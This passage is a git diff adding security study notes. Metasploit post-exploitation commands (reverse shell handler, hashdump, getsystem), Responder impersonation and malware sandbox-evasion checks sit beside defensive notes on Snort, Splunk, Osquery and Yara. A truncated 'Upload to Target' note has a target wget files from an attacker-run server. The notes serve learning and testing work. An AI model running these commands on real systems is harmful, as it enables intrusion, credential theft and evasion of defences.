Kill Chain](https://unifiedkillchain.com) is the youngest and +most detailed framework and builds upon the other frameworks. It contains combined +stages which are seen as lifecycles with potentially repeatable steps. + +1. Reconnaissance +2. Weaponization +3. Delivery +4. Socical Engineering +5. Exploitation +6. Persistance +7. Defense Evation +8. Command & Control +9. Pivoting +10. Discovery +11. Privilege Escalation +12. Execution +13. Credential Access +14. Lateral Movement +15. Collection +16. Exfiltration +17. Impact +18. Objectives + +Mentioned lifecycles are __Inital Foothold__, __Network Propagation__ and +__Actions on Objective__ + diff --git a/Miscellaneous/Metasploit.md b/Miscellaneous/Metasploit.md new file mode 100644 index 0000000..4d8c381 --- /dev/null +++ b/Miscellaneous/Metasploit.md @@ -0,0 +1,95 @@ +# Metasploit + +## Modules +* __Auxiliary__ scanners, crawlers and fuzzers +* __Encoders__ encode payloads +* __Evasion__ prepare payloads to circumvent signature based malware detection +* __NOPs__ various architectures +* __Payloads__ to run on target systems + * Singles, inline payloads, for example generic/shell_reverse_tcp + * Stagers, downloads the stages payloads + * Stages, for example windows/x64/shell/reverse_tcp +* __Post__ postexploitation + +## Notes +* Search via scope +```sh +search type:auxiliary +``` +* Send exploit to background +``` +run -z +``` +* `check` if target is vulnerable +* `setg` sets variables globally +* `unset payload` +* Flush via `unset all` + +## Sessions +* `background` or `ctrl+z` +* Foreground via `sessions -i ` + +## Scanning +* Portscan +```sh +search portscan +``` +* UDP Sweep via `scanner/discovery/udp_sweep` +* SMB Scan via `scanner/smb/smb_version` and `smb_enumshares` +* SMB login dictionary attack `scanner/smb/smb_login` +* NetBios via `scanner/netbios/nbname` +* HTTP version `scanner/http/http_version` + +## Database +* Start postgres +* `msfdb init` +* `db_status` +* Separate `workspace -a ` +* Safe scans via `db_nmap` +* Show `hosts` +* Show `services` +* Set RHOST values via `hosts -R` + +## Exploits +* `show targets` +* `show payloads` + +## Reverse Shells +* Multihandler, set options +```sh +use exploit/multi/handler +set payload +``` +* Shellshock as an example +```sh +use multi/http/apache_mod_cgi_bash_env_exec +``` + +## Post Exploitation +* `load kiwi` +* `load python` +* Windows + * list SAM database + ```sh + migrate + hashdump + ``` + * enum shares + ```sh + post/windows/gather/enum_shares + ``` +* Linux + * `use post/linux/gather/hashdump` + +## Other Meterpreter stuff +* Staged and in disguise running as another servicename +``` +getpid +ps +``` +* Attempt to elevate privileges +```sh +getsystem +``` +* Use `multi/handler` or exploit and get an overview via `show payloads` +* UserID via `getuid` diff --git a/Miscellaneous/References.md b/Miscellaneous/References.md new file mode 100644 index 0000000..07e22d3 --- /dev/null +++ b/Miscellaneous/References.md @@ -0,0 +1,3 @@ +# Miscellaneous References + +[andrew-d's statically compiles binary compilation](https://github.com/andrew-d/static-binaries.git) diff --git a/Miscellaneous/Responder.md b/Miscellaneous/Responder.md new file mode 100644 index 0000000..ab4d130 --- /dev/null +++ b/Miscellaneous/Responder.md @@ -0,0 +1,21 @@ +# Responder + +## Impersonate Domain -- Change Responder's certificates + +* After using nsupdate to add the attacker as a subdomain do the following tasks +* Add a certificate and its private key to +```sh +/usr/share/responder/certs +``` +* Edit `Responder.conf` +``` +[HTTPS Server] + +; Configure SSL Certificates to use +SSLCert = certs/cert.pem +SSLKey = certs/key.pem +``` +* Start responder +```sh +responder -I +``` diff --git a/Miscellaneous/SMTP.md b/Miscellaneous/SMTP.md new file mode 100644 index 0000000..5cf804f --- /dev/null +++ b/Miscellaneous/SMTP.md @@ -0,0 +1,3 @@ +# SMTP + +* [hacktrick's site](https://book.hacktricks.xyz/pentesting/pentesting-smtp) diff --git a/Miscellaneous/Sandbox Evasion.md b/Miscellaneous/Sandbox Evasion.md new file mode 100644 index 0000000..cc43880 --- /dev/null +++ b/Miscellaneous/Sandbox Evasion.md @@ -0,0 +1,42 @@ +# Sandbox Evasion + +* Evade the usual checks that will be run on you malware + +## Sleeping + +* [checkpoint](https://evasions.checkpoint.com/techniques/timing.html) +* [joesecurity](https://www.joesecurity.org/blog/660946897093663167) + +## Geolocation + +* Check the IP of the machine +* Check the block of the ISP via +```sh +https://rdap.arin.net/registry/ip/ +``` + +## System Info + +* Check system info like +```sh +hostname +user +serial number +software versions +hardware specs +product keys +``` + +## Network Info + +* Check all available network info like +```sh +interfaces +traffic +groups +domain admins +enterprise admins +dns +``` + + diff --git a/Miscellaneous/Snort.md b/Miscellaneous/Snort.md new file mode 100644 index 0000000..c4de562 --- /dev/null +++ b/Miscellaneous/Snort.md @@ -0,0 +1,142 @@ +# Snort + +Snort is comprised of multiple modules to process network packets. + + * __packet decoder__ + * __pre processor__ + * __detection engine__ + * __logging and alerting__ + * __output and plugins__ + +## Data Aquisition Modules + +* __Pcap__, default +* __Afpacket__, inline mode, IPS +* __Ipq__, uses netfilter on linux +* __Nfq__, inline mode on linux +* __Ipfw__, inline mode on BSD +* __Dump__, test mode + +## Usage + +* Check config, and run tests via +```sh +snort -c -T +``` + + +### Sniffing +| Parameter | Description | +|-----------|-------------| +| -v | Verbose. Display the TCP/IP output in the console.| +| -d | Display the packet data (payload).| +| -e | Display the link-layer (TCP/IP/UDP/ICMP) headers. | +| -X | Display the full packet details in HEX.| +| -i | Liste on interface | + +### Packet Logger + +* Logged by IP as directory, ports as files inside these dirs +* BPF filter can be used like `tcp port 80` +* Log files can be opened by wireshark or `tcpdump -r ` + +| Parameter | Description | +|-----------|-------------| +| -l | Logger mode, target log and alert output directory. Default output folder is tcpdump to /var/log/snort.| +| -K ASCII | Log packets in ASCII format | +| -r | Filter dumped logs in Snort | +| -n | Specify the number of packets that will be read | + +### IDS and IPS + +* Output is an alert file along an optional log file + +| Parameter | Description | +|-----------|-------------| +| -c | Defining the configuration file | +| -T | Testing the configuration file | +| -N | Disable logging | +| -D | Background mode | +| -A | Alert modes; __full__: all possible info about alerts, default mode; __fast__ : alert message, timestamp, source and destination IP, port numbers. __console__: Provides fast style alerts on the console screen. __cmg__: CMG style, basic header details with payload in hex and text format. __none__: Disabling alerting | + +* Rules found in `/etc/snort/rules/local.rules` +```sh +alert icmp any any <> any any (msg: "ICMP Packet Found"; sid: 100001; rev:1;) +``` + +### PCAPs + +* `snort -c -r file.pcap -A console -n ` +* `snort -c --pcap-list="file1.pcap file2.pcap" -A console -l .` + + +## Rules + +```sh +snort -c /etc/snort/rules/local.rules -A console +snort -c /etc/snort/rules/local.rules -A full +``` +* Every rule has an IP source and destination, as well as a port for every endpoint +* General, payload and non payload rules + +* Direction of the packet + * `->` to destination + * `<>` bidirectional + +* IDS -> `alert` +* IPS -> `reject` + +```sh + <> (msg: "; ; ; +``` + +* Actions + * `alert` + * `log` + * `drop` + * `reject` + +* SID rule IDs + * < 100 reserved rules + * 100 - 999,999 rules of the build + * >= 1,000,000 user rules + +* Reference may be a CVE +* Revisions are versionings of the rule + +* Filter address range via CIDR +```sh +alert icmp 192.168.1.0/24 any <> any any (msg: "ICMP Packet Found"; sid: 100001; rev:1;) +``` +* Filter multiple address ranges +```sh +alert icmp [192.168.1.0/24, 10.1.1.0/24] any <> any any (msg: "ICMP Packet Found"; sid: 100001; rev:1;) +``` +* Exlude via `!10.10.0.1` +* Filter via any and ports between 4712 and 8080 +```sh +alert icmp any 4711,8080: <> any any (msg: "TCP Packet Found"; sid: 100001; rev:1;) +``` + +### Detection Rules + +* `/etc/snort/rules/local.rules` +* ASCII or gex mode +```sh +ASCII mode - alert tcp any any -> any 8080 (msg: "GET Request Found"; content:"GET";content: "/foo"; sid: 100001; rev:1;) +alert tcp any any -> any 8080 (msg: "GET Request Found"; content:"|47 45 54|"; sid: 100001; rev:1;) +``` +* Case insensitiv +```sh +alert tcp any any -> any 8080 (msg: "GET Request Found"; content:"GET"; nocase; sid: 100001; rev:1;) +``` +* Fast pattern +```sh +alert tcp any any <> any 80 (msg: "GET Request Found"; content:"GET"; fast_pattern; content:"www"; sid:100001; rev:1;) +``` + +* Non payload detection rules + * TCP flags, `flags: F,S,A,R,P,U` + * Payload size, `dsize:min<>max` + * SameIP, `alert ip any any <> any any (msg: "SAME-IP TEST"; sameip; sid: 100001; rev:1;)` + * Packet IDs, `id: 4711` diff --git a/Miscellaneous/Threat Intelligence/Isac.md b/Miscellaneous/Threat Intelligence/Isac.md new file mode 100644 index 0000000..2c79a43 --- /dev/null +++ b/Miscellaneous/Threat Intelligence/Isac.md @@ -0,0 +1,47 @@ +# Threat Intelligence +Data must be analyzed to be considered threat intelligence. Once analyzed and actionable, then it becomes threat intelligence. The data needs context around to become intel. + + +__Cyber Thread Intelligence (CTI)__ is a precautionary measure that companies use or contribute to so that other corporations do not get hit with the same attacks. Of course, adversaries change their TTPs all the time so the TI landscape is constantly changing. + +Vendors and corporations will sometimes share their collected CTI in what are called __ISACs__ or __Information Sharing and Analysis Centers__. __ISACs__ collect various indicators of an adversary that other corporations can use as a precaution against adversaries. + + +Threat Intelligence is also broken up into three different types. + +* Strategic + * Assist senior management make informed decisions specifically about the security budget and strategies. + +* Tactical + * Interacts with the TTPs and attack models to identify adversary attack patterns. + +* Operational + * Interact with IOCs and how the adversaries operationalize. + + + +## Advance Persistent Threats (APTs) +* https://www.fireeye.com/current-threats/apt-groups.html + +## TTP +TTP is an acronym for Tactics, Techniques, and Procedures, but what does each of these terms mean? + +* The __Tactic__ is the adversary's goal or objective. +* The __Technique__ is how the adversary achieves the goal or objective. +* The __Procedure__ is how the technique is executed. + +TI is an acronym for Threat Intelligence. Threat Intelligence is an overarching term for all collected information on adversaries and TTPs. You will also commonly hear CTI or Cyber Threat Intelligence which is just another way of saying Threat Intelligence. + +## Indicator of Compromise +* __IOCs__ is an acronym for __Indicators of Compromise__, the indicators for malware and adversary groups. Indicators can include file hashes, IPs, names, etc. + +## Information Sharing and Analysis Centers (ISACs) +According to the National Council of __ISACs__, "Information Sharing and Analysis Centers (ISACs) are member-driven organizations, delivering all-hazards threat and mitigation information to asset owners and operators". ISACs can be community-centered or vendor-specific. ISACs include CTI from threat actors as well as mitigation information in the form of IOCs, YARA rules, etc. ISACs maintain situational awareness by sharing and collaborating to maintain CTI, through a National Council of ISACs. + +* ISACs + * [US-CERT](https://us-cert.cisa.gov/) + * [AlienVault OTX](https://otx.alienvault.com/) + * [ThreatConnect](https://threatconnect.com/) + * [MISP](https://www.misp-project.org/) + + diff --git a/Miscellaneous/Threat Intelligence/Loki.md b/Miscellaneous/Threat Intelligence/Loki.md new file mode 100644 index 0000000..702c5b7 --- /dev/null +++ b/Miscellaneous/Threat Intelligence/Loki.md @@ -0,0 +1 @@ +# Loki diff --git a/Miscellaneous/Threat Intelligence/Osquery.md b/Miscellaneous/Threat Intelligence/Osquery.md new file mode 100644 index 0000000..ccb3a8e --- /dev/null +++ b/Miscellaneous/Threat Intelligence/Osquery.md @@ -0,0 +1,88 @@ +# Osquery + +* [Documentation](https://osquery.readthedocs.io/en/stable/) +* [Schema Docs](https://osquery.io/schema/5.5.1/) + +## Usage + +* `osqueryi .help` is the overiew + +### List available tables + +List an overview of all available topics which can be queried. +```sh +.tables +``` +* Specify via `.tables ` + +### Show schema + +```sh +.schema +``` +* Show schema for foreign operating systems via `--enable_foreign` + +### Queries + +* Select +```sql +select * from ; +select * , from
; +``` + +* UPDATE and DELETE is possible on run-time tables + +* JOIN +```sql +SELECT pid, name, path FROM osquery_info JOIN processes USING (pid); +``` + +* Where +```sql +select * from programs where name = 'paint'; +``` + +* Where clause operators + * `=` [equal] + * `<>` [not equal] + * `>, >=` [greater than, greater than or equal to] + * `<, <=` [less than or less than or equal to] + * `BETWEEN` [between a range] + * `LIKE` [pattern wildcard searches] + * `%` [wildcard, multiple characters] + * `_` [wildcard, one character] + +* Matching wildcard rules + * `%`: Match all files and folders for one level. + * `%%`: Match all files and folders recursively. + * `%abc`: Match all within-level ending in "abc". + * `abc%`: Match all within-level starting with "abc". + +* Table 'userassist' stores executed processes + +## Modes + +There are multiple modes to select from to show the data + +```sh +osqueryi +osqueryi> .mode .help +``` + +## Remote Queries via Frontend + +* [Repo](https://github.com/fleetdm/fleet.git) + +## Extensions + +* [osquery-extensions](https://github.com/trailofbits/osquery-extensions) +* [osq-ext-bin](https://github.com/polylogyx/osq-ext-bin) + +### Yara + +```sql +select * from yara where sigfile='' and path like '/home/%%'; +``` +* [Docs](https://osquery.readthedocs.io/en/stable/deployment/yara/) + + diff --git a/Miscellaneous/Threat Intelligence/Pithus.md b/Miscellaneous/Threat Intelligence/Pithus.md new file mode 100644 index 0000000..9d97aa4 --- /dev/null +++ b/Miscellaneous/Threat Intelligence/Pithus.md @@ -0,0 +1,3 @@ +# Pithus Mobile Threat Intelligence + +* https://beta.pithus.org diff --git a/Miscellaneous/Threat Intelligence/SIEM.md b/Miscellaneous/Threat Intelligence/SIEM.md new file mode 100644 index 0000000..3f6583e --- /dev/null +++ b/Miscellaneous/Threat Intelligence/SIEM.md @@ -0,0 +1,30 @@ +# Security Information and Event Management (SIEM) + +Collection of data as events on information systems in order to correlate through rulesets. +Network devices and connected endpoints generate events, both are of interest in SIEM. +This is done to reduce threats and to improve security posture. + +* [Varonis](https://www.varonis.com/blog/what-is-siem/) + + +## Workflow + +* Threat detection + * Investigation + * Alerting and Reporting + * Visibility + * Time to respond + +* Basic SIEM monitoring is done through the following stages + * Log collection + * Normalization + * Security incident detection + * Assess true or false events + * Notifications and alerts + * Further threat response workflow + + +## Sources of Interest + +Linux provides multiple security related logs under ` /var/log ` as well as processes under ` /proc ` +This includes the services, access, system and kernel logs as well as the scheduled cron jobs. diff --git a/Miscellaneous/Threat Intelligence/Splunk.md b/Miscellaneous/Threat Intelligence/Splunk.md new file mode 100644 index 0000000..2a7c06b --- /dev/null +++ b/Miscellaneous/Threat Intelligence/Splunk.md @@ -0,0 +1,77 @@ +# Splunk + +## Splunk Bar + * Messages + * Settings + * Activity + * Help + * Find + +## Architectural Components + * __Forwarder__, as an agent + * __Indexer__, receives data from forwarder, normalizes it + * __Search Head__, look into indices + +## Search & Reporting + +The bread and butter of Splunk. Events can be found and searched here. + +* Tip: If you want to land into the Search app upon login automatically, you can do so by editing the user-prefs.conf file. +```sh +C:\Program Files\Splunk\etc\apps\user-prefs\default\user-prefs.conf +/opt/splunk/etc/apps/user-pref/default/user-prefs.conf +``` +* [Docs](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Aboutthesearchapp) +* [Start searching](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Startsearching) +* [Time range picker](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Aboutthetimerangepicker) +* [Field to search](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Usefieldstosearch) +* [Use field lookups](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Usefieldlookups) +* [Search field lookups](https://docs.splunk.com/Documentation/Splunk/8.1.2/SearchTutorial/Searchwithfieldlookups) +* [Splunk Regex](https://docs.splunk.com/Documentation/Splunk/8.1.2/Knowledge/AboutSplunkregularexpressions) + +* Tabs + * Event + * Patterns + * Statistics + * Visualization + +## Adding Data + +Multiple different log sources can be added as events. +* [Adding Data Docs](https://docs.splunk.com/Documentation/Splunk/8.1.2/Data/Getstartedwithgettingdatain#Use_apps_to_get_data_in) + +* `Settings > Data > Data Inputs` contains further sources +* Add data after that via `Add Data` + +## Queries + +* [Metadata](http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Metadata) +* [Metalore](https://www.splunk.com/blog/2017/07/31/metadata-metalore.html) +```sh +| metadata type=sourcetypes index=botsv2 | eval firstTime=strftime(firstTime,"%Y-%m-%d %H:%M:%S") | eval lastTime=strftime(lastTime,"%Y-%m-%d %H:%M:%S") | eval recentTime=strftime(recentTime,"%Y-%m-%d %H:%M:%S") | sort - totalCount +``` + +* Examples + * Filtering HTTP sites visited for found IP + ```sh + index="botsv2" 10.0.2.101 sourcetype="stream:HTTP" | dedup site | table site + ``` + +## Sigma + +* [Sigma Repo](https://github.com/Neo23x0/sigma) +* [TA-Sigma-Searches](https://github.com/dstaulcu/TA-Sigma-Searches) +* [Conversion](https://uncoder.io/) + * E.g. : `sigma: APT29` as input + +## Dashboard + +Create visualizations and group them. +```sh +source="" | top limit=5 EventID +``` +* Visualization > choose Chart > "Save As" (top right) > DashboardName + +## Alerting + +* [Workflow](https://docs.splunk.com/Documentation/SplunkCloud/8.1.2012/Alert/AlertWorkflowOverview) diff --git a/Miscellaneous/Threat Intelligence/Yara.md b/Miscellaneous/Threat Intelligence/Yara.md new file mode 100644 index 0000000..ed22891 --- /dev/null +++ b/Miscellaneous/Threat Intelligence/Yara.md @@ -0,0 +1,40 @@ +# Yara + +## Structure +A rule consists of + * Name + * Metadata + * String definitions + * Conditions on these strings + +## Example + +```sh +rule eicar { + meta: + author="foo" + description="eicar test virus" + strings: + $a="X5O" + $b="EICAR" + $c="ANTIVIRUS" + $d="TEST" + condition: + $a and $b and $c and $d + } +``` + +## Usage + +* Information about a rule, metadata or strings +```sh +yara -m +yara -s +``` + +* Run Yara via +```sh +yara +``` +* If the name of the rule and the target is returned, the rule matched. Otherwise it did not match. + diff --git a/Miscellaneous/Upload to Target.md b/Miscellaneous/Upload to Target.md new file mode 100644 index 0000000..7c148aa --- /dev/null +++ b/Miscellaneous/Upload to Target.md @@ -0,0 +1,14 @@ +# Usage +## Adhoc upload to target via http server +* on local attacker +```python3 -m http.server 8000``` +or +```python -m SimpleHTTPServer``` + +* on target +```wget http://:8000/